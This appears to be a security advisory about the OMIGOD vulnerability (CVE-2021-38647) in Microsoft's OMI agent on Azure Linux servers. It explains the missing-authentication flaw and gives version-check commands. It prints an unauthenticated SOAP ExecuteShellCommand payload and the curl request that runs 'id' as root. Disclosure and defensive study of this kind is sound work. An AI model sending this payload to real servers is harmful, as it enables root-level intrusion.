OMIGOD – RCE Vulnerability in Multiple Azure Linux Deployments

Overview

On September 14, multiple vulnerabilities were discovered by researchers at Wiz.io. The most critical of them being CVE-2021-38647, now dubbed OMIGOD, which effects the Open Management Infrastructure (OMI) agent in versions 1.6.8.0 and below.

Azure customers effected by this vulnerability are still vulnerable and must take manual action to ensure the OMI agent is updated.

• For Debian systems (e.g., Ubuntu): dpkg -l omi
• For Redhat based system (e.g., Fedora, CentOS, RHEL): rpm -qa omi

Currently there are at least 15K Azure servers that are exploitable on the internet that can be easily identified by Shodan.

What is OMI?

OMI is an open-source remote configuration management tool developed by Microsoft. OMI agents are commonly found installed on Azure Linux servers when the following services are in use:

• Azure Automation
• Azure Automatic Update
• Azure Operations Management Suite
• Azure Log Analytics
• Azure Configuration Management
• Azure Diagnostics

When these services are configured, the omiengine process will listen on all interfaces and being running as the root user.

Vulnerability Explained

As of September 16, newly created Linux servers in Azure are still packaged with a vulnerable version of the OMI agent. After deploying a Linux server and enabling one the services listed above, the server will be in a vulnerable state.

The OMI server receives configuration management messages via the /wsman endpoint. Typically, an Authentication header is passed along with the message and the OMI server will ensure the client is authorized communicate. In this case the vulnerability is that when there is no Authentication header the server incorrectly accepts the message and executes the instruction under the root user.

By posting an “ExecuteShellCommand” SOAP payload to the server with no Authentication header specified, it will execute the command as root.

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
   ...
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>id</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

Wrapping this all up into a single cURL request to execute the id command get the response:

curl -H "Content-Type: application/soap+xml;charset=UTF-8" -k --data-binary "@http_body.txt" https://10.0.0.5:5986/wsman

<SOAP-ENV:Envelope
        ...
    <SOAP-ENV:Body>
        <p:SCX_OperatingSystem_OUTPUT
            xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
            <p:ReturnValue>TRUE</p:ReturnValue>
            <p:ReturnCode>0</p:ReturnCode>
            <p:StdOut>uid=0(root) gid=0(root) groups=0(root)&#10;</p:StdOut>
            <p:StdErr></p:StdErr>
        </p:SCX_OperatingSystem_OUTPUT>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Proof of Concept

A working proof of concept exploit can be found on the Horizon3 GitHub repo.